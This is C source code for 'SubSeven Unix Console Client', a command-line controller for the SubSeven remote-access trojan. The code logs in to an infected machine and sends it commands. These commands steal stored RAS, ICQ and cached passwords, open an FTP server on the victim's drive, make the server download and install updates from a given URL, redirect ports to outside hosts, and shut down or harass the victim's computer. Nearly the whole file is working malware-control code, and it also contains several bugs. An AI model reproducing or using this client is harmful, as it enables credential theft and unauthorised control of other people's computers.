// Known platforms source will compile: Linux, FreeBSD (tweak it)
// Solaris (Some tcp/ip messing)

// Please somebody tidy this up and take on the project.
// Though I would like to be informed on any progress being made
// and who was taking it over.
//
// Client will work with servers of version greater than 2.2.
// Please don't take all the credit for my code...lol
//
// Email me at netstar@haxworx.com
// http://www.haxworx.com
//
// Author A.R.Poole (netstar)

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>

struct simple_commands{
   char alias[16];
   char remote[32];
   char helper[80];
};

typedef struct simple_commands simple;

void read_input(simple *ptr_s, int srcfd);
int get_header(int srcfd);
int send_command(int srcfd);
int usage();
int about();
int exitmessage();
void helper(simple *ptr_s);

char command[1024]; // Keep these variables global
char input[1024];   // ---------------------------
char readit[1024];
char *password;
int i;

int main(int argc, char *argv[])
{
  int timeoutsock,sock,port,status;
  char hostname[128];
  struct sockaddr_in client;
  struct hostent *he;
  fd_set set;
  struct timeval timeout;

simple list[]={
{"shtdwn","RestartComputer 1","Shutdown the computer."},
{"powerd","RestartComputer 2","Powerdown the computer."},
{"hybern","RestartComputer 3","Place computer in hybernation."},
{"reboot","RestartComputer 4","Reboot the computer."},
{"logoff","RestartComputer 5","Log user off remote computer."},
{"rvrsmo","ReverseMouseButtons","Reverse mouses buttons."},
{"rstrmo","RestoreMouseButtons","Restore mouses buttons."},
{"hdemse","HideMouse","Hide the mouse from user."},
{"shwmse","ShowMouse","Unhide the mouse."},
{"audion","SetVolumeSettings 0 0 0","Turn audio off."},
{"audioy","SetVolumeSettings 255 255 255","Turn audio on."},
{"opncdr","SetCDROM 1","Open the cdrom drive."},
{"clscdr","SetCDROM 0","Close the cdrom drive."},
{"monino","SetMonitor 0","Turn monitor off."},
{"moniok","SetMonitor 1","Turn monitor on."},
{"enaftp","EnableFTPServer 21 1 C:\\?","Enable remote ftp server."},
{"disftp","DisableFTPServer","Disable remote ftp server."},
{"rmpass","ChangePass ","Change the servers password."},
{"rmserv","RemoveServer","Remove subseven from remote machine."},
{"gttime","GetTimeAndDate","Get current date and time."}
};

  if(argc < 3)
    {
    usage();
    }
  
  if((he = gethostbyname(argv[1]))!=NULL)
      strcpy(hostname,(char *)inet_ntoa(*(struct in_addr *)he->h_addr));

         else{
              printf("error: hostname\n");
              exit(1);
          } 
   
  if((timeoutsock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
     {
      printf("error: socket\n");
      exit(1);
     }

  fcntl(timeoutsock,F_SETFL,O_NONBLOCK);
  port = atoi(argv[2]);
  memset(&password,0,sizeof(password));
  password = argv[3];
  client.sin_family = AF_INET;
  client.sin_port = htons(port);
  client.sin_addr.s_addr = inet_addr(hostname);
  bzero(&(client.sin_zero), 8);

if(connect(timeoutsock, (struct sockaddr *)&client,sizeof(struct sockaddr))!=-1)
{
printf("\nnerror: connect\n\n");
exit(1);
}


    timeout.tv_sec =10;
    timeout.tv_usec =0;
    FD_ZERO(&set);
    FD_SET(timeoutsock,&set);

 if(select(FD_SETSIZE,(fd_set *) 0, &set,(fd_set *) 0, &timeout)==0)
   {
    printf("\nerror: timeout\n\n");
    exit(1);
   }

close(timeoutsock);

if((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\nerror: sock\n\n");
exit(1);
}

if(connect(sock, (struct sockaddr *)&client,sizeof(struct sockaddr))==0)
{
    printf("\n\nSubSeven Unix Console Client (Epsilon)\n");
    printf("--------------------------------------\n");
    printf("\nConnection accepted.\n");
    get_header(sock);
    printf("Enter 'help' for help.\n\n");

    do{ 
        read_input(list,sock);
        send_command(sock);
      }while(!strstr(input,"quit"));  
}
else
 printf("\nerror: connect\n\n");  //unlikely to reach here, but possible
}

//---------------------------------------------------------------
//---------------------------------------------------------------


int usage()
{
 printf("\nUsage: subseven <address> <port> [password]\n\n");
 exit(1);
}

//---------------------------------------------------------------


int send_command(int srcfd)
{
 char more[1024];
 int ok =1;
 memset(&readit,0,sizeof(readit));
if(!strstr(input,"help"))
{
if(strlen(command) > 0)
   {
    sprintf(command,"%s\r\n",command);
    send(srcfd,command,sizeof(command),0);
    if(strstr(command,"RemoveServer"))
      {
       printf("\nServer removed from remote machine.\n\n");
       exit(1);
       }
    recv(srcfd,readit,sizeof(readit),0);

    if(!strstr(readit,"[RPL]045"))
    {
     if(strstr(command,"RestartComputer 1"))
       {
        printf("\nServer shutdown successful. (shutdown)\n\n");
        exit(1);
       }
    else if(strstr(command,"RestartComputer 2"))
       {
        printf("\nServer shutdown successful. (powerdown)\n\n");
        exit(1);
       }
else if(strstr(command,"RestartComputer 3"))
       {
        printf("\nServer shutdown successful. (hybernate)\n\n");
        exit(1);
       }
else if(strstr(command,"RestartComputer 4"))
       {
        printf("\nServer shutdown successful. (reboot)\n\n");
        exit(1);
       }
else if(strstr(command,"RestartComputer 5"))
       {
        printf("\nServer shutdown successful. (logoff)\n\n");
        exit(1);
       }
    
}
    
     if(strstr(readit,"[RPL]082"))
       {
        ok=0;
       }
     if(strstr(readit,"[RPL]045"))
       {
        printf("\nThis server does not have the correct plugin installed\n");
        printf("either upload the required plugins or upgrade the server.\n\n");
        ok=0;
       }    
     if(ok == 1)
       {
        printf("\n%s\n",readit);
       }
   }
 }
 memset(&readit,0,sizeof(readit));
 memset(&command,0,sizeof(command));

}

//---------------------------------------------------------------


int get_header(int srcfd)
{
 char header[256];
 char datatosend[128];
send(srcfd,"\0",1,0);
read(srcfd,header,sizeof(header));

if(strstr(header,"[RPL]002"))
{ 
 memset(&header,0,sizeof(header));
 sprintf(datatosend,"password %s\r\n",password);
 send(srcfd,datatosend,strlen(datatosend),0);

 read(srcfd,header,sizeof(header)); 
 if(strstr(header,"003"))
    {
     printf("\nInvalid server password...exiting.\n\n"); 
     exit(1);
    }
}

else if(!strstr(header,"server"))
   {
   printf("\nUnrecognised server type...exiting.\n\n");
   free(password);
   exit(1);
   }

 free(password);

 printf("\n%s",header);
 memset(&header,0,sizeof(header));
}

//---------------------------------------------------------------


void read_input(simple *ptr_s, int srcfd)
{
 int x =0;
 char rstring[2056];
 char newpassword[128];

 printf("SubSeven> ");
 memset(&input,0,sizeof(input));
 fgets(input,sizeof(input),stdin);

 for(i=0;i<21;i++)
 {
  if(strstr(input,ptr_s[i].alias))
    {
     sprintf(command,"%s",ptr_s[i].remote);
     x=1;
    } 
  }

 if(strstr(input,"quit"))
    {
    exitmessage(); x=1;
    }
 else if(strstr(input,"about"))
    {
    about(); x=1;
    }
 else if(strstr(input,"rmpass"))
    {
    if(!strstr(input,"help"))
    {
     printf("\nPassword successfully removed.\n\n");
    }
    else if(strstr(input,"help"))
           {
           printf("\nRemove the servers password.\n\n");
           }
    }
 else if(strstr(input,"matrix"))
 {
 char keybuffer[5128];
 char keycommand[80];
 char sendit[1024];
 char ch[80];

 if(!strstr(input,"help"))
 {
 memset(&ch,0,sizeof(ch));
 sprintf(keycommand,"%s","StartMatrix 1 clBlack clLime www.haxworx.com\r\n");
 send(srcfd,keycommand,strlen(keycommand),0);
 read(srcfd,keybuffer,sizeof(keybuffer));
 if(!strstr(keybuffer,"045"))
 {
 printf("\nEnabling matrix style communication.\n");
 printf("'stopmatrix' to stop communication.\n\n");
 do{
 
 memset(&keycommand,0,sizeof(keycommand));
 memset(&keybuffer,0,sizeof(keybuffer));
 memset(&sendit,0,sizeof(sendit));
 memset(&ch,9,sizeof(ch));

 sprintf(keycommand,"%s","GetMatrixData\r\n");
 send(srcfd,keycommand,strlen(keycommand),0);
 
 read(srcfd,keybuffer,sizeof(keybuffer));
 if(strlen(keybuffer) > 0)
 {
 printf("%s\n",keybuffer);
 }

 printf("Send Message :");
 fgets(ch,sizeof(ch),stdin);
 sprintf(sendit,"AddToMatrix USER %s\r\n",ch);
 send(srcfd,sendit,strlen(sendit),0);
}while(!strstr(ch,"stopmatrix"));

strcpy(sendit,"StopMatrix\r\n");
send(srcfd,sendit,strlen(sendit),0);
read(srcfd,keybuffer,0);
printf("\n\n");
}
else if(strstr(keybuffer,"[RPL]045"))
     {
     printf("\nThis server does not have the correct plugin installed\n");
     printf("either upload the required plugins or upgrade the server.\n\n");
     }
}

 else if(strstr(input,"help"))
 {
 printf("\nEnable matrix style communication.\n\n");
 }

 x=1;
 }

 else if(strstr(input,"lsplug"))
 {
 char sendcom[80]; 
 int y;
 char readplug[1024];
 if(!strstr(input,"help"))
 {
 strcpy(sendcom,"ListPlugins\r\n");
 send(srcfd,sendcom,strlen(sendcom),0);
 read(srcfd,readplug,sizeof(readplug));
 if(!strstr(readplug,"[RPL]041"))
{
 int no;
 memset(&readplug,0,sizeof(readplug));
 send(srcfd,"\0",1,0);
 read(srcfd,readplug,sizeof(readplug));
 for(y =0; y < strlen(readplug);y++)
 {
 if(readplug[y] == '|')
   {
   readplug[y] = '-';
   }
 }
 printf("\n");
 no = strcspn(readplug,"-");
 for(y=no+2;y<strlen(readplug);y++)
    {
     printf("%c",readplug[y]);
    } 
  printf("\n");
 }

 else if(strstr(readplug,"[RPL]041"))
        {
        printf("\nNo plugins installed.\n\n");
        } 
 }
 else if(strstr(input,"help"))
 {
 printf("\nList plugins installed on remote server.\n\n");
 }
 x=1;

}
 else if(strstr(input,"chgpwd"))
   {
   if(!strstr(input,"help"))
   {
   printf("\nENTER NEW PASSWORD : ");
   fgets(newpassword,sizeof(newpassword),stdin);  
   sprintf(rstring,"ChangePass %s\r\n",newpassword);
   send(srcfd,rstring,strlen(rstring),0);
   memset(&rstring,0,sizeof(rstring));
   printf("\nPassword succesfully updated.\n\n");
   }
   else if(strstr(input,"help"))
    {
    printf("\nChange the servers password.\n\n");
    }

   x=1;   
   }

   else if(strstr(input,"update"))
   {
   char url[1024];
   char urlval[1024];
   char rthing[1024];
   if(!strstr(input, "help"))
   {

   printf("\nUrl to update from : ");
   fgets(url,sizeof(url),stdin);
   sprintf(rthing,"UpdateServerFromWeb %s \r\n",url);
   send(srcfd,rthing,sizeof(rthing),0);
   read(srcfd,urlval,sizeof(urlval));
   printf("\nServer is attempting to download and update.\n");
  printf("The next time you connect the server should be updated.\n\n");
   }
   else if(strstr(input,"help"))
          {
          printf("\nUpdate server from URL.\n\n");
          }
   x=1;
   }
   else if(strstr(input,"getpwd"))
   {
   int i;
   char com1[1024];
   char com2[1024];
   char com3[80];
   char get1[1024];
   char get2[1024];
   char get3[1024];
  if(!strstr(input,"help"))
   {
   sprintf(com1,"getraspasswords\r\n");
   send(srcfd,com1,strlen(com1),0);
   read(srcfd,get1,sizeof(get1));
if(!strstr(get1,"[RPL]045"))
 { for(i =0;i < strlen(get1);i++)
      {
       if(get1[i] == '|')
         {
         get1[i]='\n'; 
         }
      }
   printf("\nPasswords");
   printf("\n----------------------------------------------\n"); 
   printf("\n%s",get1);  
   printf("----------------------------------------------\n"); 
   sprintf(com2,"geticqpasswords\r\n");
   send(srcfd,com2,strlen(com2),0);
   read(srcfd,get2,sizeof(get2));
   for(i =0;i < strlen(get2);i++)
     {
     if(get2[i] == '|')
       {
        get2[i]='\n';
       }
      }
   printf("%s\n",get2);
   printf("----------------------------------------------\n"); 
   sprintf(com3,"getcachedpasswords\r\n");
   send(srcfd,com3,strlen(com3),0);
   read(srcfd,get3,sizeof(get3));
   for(i =0;i < strlen(get3);i++)
     {
     if(get3[i] == '|')
       {
        get3[i]='\n';
       }
      }
   printf("%s",get3);
   printf("----------------------------------------------\n");
   printf("End of Passwords.\n\n"); 
   }
   else if(strstr(get1,"[RPL]045"))
   {
   printf("\nThis server does not have the correct plugin installed\n");
   printf("either upload the required plugins or upgrade the server.\n\n");
   }
   memset(&com1,0,sizeof(com1));    
   memset(&com2,0,sizeof(com2));    
   memset(&com3,0,sizeof(com3));    
   memset(&get1,0,sizeof(get1));    
   memset(&get2,0,sizeof(get2));    
   memset(&get3,0,sizeof(get3));    
   }
   else if(strstr(input,"help"))
    {
    printf("\nGet system passwords.\n\n");
    }

   x=1;
   }

  else if(strstr(input,"chgtim"))
    {
     char hour[1024];
     char min[1024];
     char str1[1024];
     char str2[1024];     
     if(!strstr(input,"help"))
    {
    printf("\nInput hour : ");
    fgets(hour,sizeof(hour),stdin);
    for(i=0;i<sizeof(hour);i++)
       {
       if(hour[i] == '\n')
         {
         hour[i] = '\0';
         }
       }

     printf("Input minute : ");
    fgets(min,sizeof(min),stdin);
    for(i=0;i<sizeof(min);i++)
       {
       if(min[i] == '\n')
         {
         min[i] = '\0';
         }
       }
    sprintf(str1,"SetTime %s:%s\r\n",hour,min);
    send(srcfd,str1,strlen(str1),0);
    read(srcfd,str2,sizeof(str2));
    if(strstr(str2,"[RPL]045"))
      {
      printf("\nThis server does not have the correct plugin installed\n");
      printf("either upload the required plugins or upgrade the server.\n\n");
      }
     else if(!strstr(str2,"[RPL]045"))
       {
       printf("%s",str2);
       }
    memset(&hour,0,sizeof(hour));
    memset(&min,0,sizeof(min));
    memset(&str1,0,sizeof(str1));
    memset(&str2,0,sizeof(str2));
    }
    else if(strstr(input,"help"))
    {
    printf("\nChange the systems time.\n\n");
    }

    x=1;
    }

  else if(strstr(input,"chgdat"))
    {
     char year[1024];
     char day[1024];
     char month[1024];
     char r1[1024];
     char r2[1024];
    if(!strstr(input,"help"))
    {
    printf("\nInput year : ");
    fgets(year,sizeof(year),stdin);
    for(i=0;i<sizeof(year);i++)
       {
       if(year[i] == '\n')
         {
         year[i] = '\0';
         }
       }

    printf("Input month : ");
    fgets(month,sizeof(month),stdin);
    for(i=0;i<sizeof(month);i++)
       {
       if(month[i] == '\n')
         {
         month[i] = '\0';
         }
       }
     
    printf("Input day : ");
    fgets(day,sizeof(day),stdin);
    for(i=0;i<sizeof(day);i++)
       {
       if(day[i] == '\n')
         {
         day[i] = '\0';
         }
       }
     sprintf(r1,"SetDate %s:%s:%s\r\n",year,month,day);
     send(srcfd,r1,sizeof(r1),0);
     read(srcfd,r2,sizeof(r2));

    if(strstr(r2,"[RPL]045"))
      {
      printf("\nThis server does not have the correct plugin installed\n");
      printf("either upload the required plugins or upgrade the server.\n\n");
      }
     else if(!strstr(r2,"[RPL]045"))
       {
       printf("%s",r2);
       }

     memset(&year,0,sizeof(year));
     memset(&month,0,sizeof(month));
     memset(&day,0,sizeof(day));
     memset(&r1,0,sizeof(r1));
     memset(&r2,0,sizeof(r2));
     }
    else if(strstr(input,"help"))
    {
    printf("\nChange the systems date.\n\n");
    }

     x=1;
    }

 else if(strstr(input,"portre"))
    {
    if(!strstr(input,"help"))
    {
    char inputport[1024];
    char thisone[1024];
    char readme[1024];
    char outputport[1024];
    char outputip[1024];
    int i;
    printf("\nInput port : ");
    fgets(inputport,sizeof(inputport),stdin);
    for(i=0;i<sizeof(inputport);i++)
       {
       if(inputport[i] == '\n')
         {
         inputport[i] = '\0';
         }
       }
    printf("Output host/ip : ");
    fgets(outputip,sizeof(outputip),stdin);
    for(i=0;i<sizeof(outputip);i++)
       {
       if(outputip[i] == '\n')
         {
         outputip[i] = '\0';
         }
       }
    printf("Output port : ");
    fgets(outputport,sizeof(outputport),stdin);
    for(i=0;i<sizeof(outputport);i++)
       {
       if(outputport[i] == '\n')
         {
         outputport[i] == '\0';
         }
       }
    sprintf(thisone,"SetPortRedirect %s %s %s",inputport,outputip,outputport);
    send(srcfd,thisone,strlen(thisone),0);
    read(srcfd,readme,sizeof(readme));
    if(!strstr(readme,"045"))
      {
      printf("\n%s\n",readme);
      }
    else if(strstr(readme,"045"))
      {
      printf("\nThis server does not have the correct plugin installed\n");
     printf("either upload the required plugins or upgrade the server.\n\n");

      }
    memset(&command,0,sizeof(command));
    memset(&inputport,0,sizeof(inputport));
    memset(&outputip,0,sizeof(outputip));
    memset(&outputport,0,sizeof(outputport));
    }
    else if(strstr(input,"help"))
    {
    printf("\nEnable port redirection.\n\n");
    }
    x=1;
    }
 else if(strstr(input,"stopre"))
        {
        if(!strstr(input,"help"))
          {
          sprintf(command,"RemovePortRedirect");
          }
          else if(strstr(input,"help"))
          {
          printf("\nStop current port redirects.\n\n");
          }
          x=1; 
        }
 else if(strstr(input,"help"))
        { 
        helper(ptr_s); x=1;
        }    

 if(x==0)
    {
    if(strlen(input) > 1)
    {
    printf("\nCommand not found, 'help' for help.\n\n");
    }
    memset(&command,0,sizeof(command));
    }

}

//---------------------------------------------------------------


int exitmessage()
{
 printf("\nFor questions or comments, visit http://www.haxworx.com\n\n");
}

//---------------------------------------------------------------

int about()
{
 printf("\nSubSeven Unix Console Client (Epsilon).\n");
 printf("Visit us for updates and information at http://www.haxworx.com.\n\n");
}

//---------------------------------------------------------------


void helper(simple *ptr_s)
{
int ok=0;

for(i=0;i<21;i++)
{
if(strstr(input,ptr_s[i].alias))
{
printf("\n%s\n\n",ptr_s[i].helper);
ok =1;
}
}
if(ok ==0)
{
printf("\n\nSubSeven Unix Console Client (Epsilon)\n");
printf("--------------------------------------\n");
printf("\nEnter 'quit' to quit at any time.\n\n");

printf("[enaftp]  [disftp]  [opncdr]  [clscdr]  [moniok]\n");
printf("[monino]  [hdemse]  [shwmse]  [rstrmo]  [rvrsmo]\n");
printf("[audioy]  [audion]  [gttime]  [portre]  [stopre]\n");
printf("[chgdat]  [chgtim]  [logoff]  [hybern]  [powerd]\n");
printf("[shtdwn]  [reboot]  [getpwd]  [rmpass]  [rmserv]\n");
printf("[chgpwd]  [matrix]  [lsplug]  [update]  [about]   \n");
printf("\nFor help on a specific command: help <command>.\n\n");
}

}

//---------------------------------------------------------------
//---------------------------------------------------------------
//---------------------------------------------------------------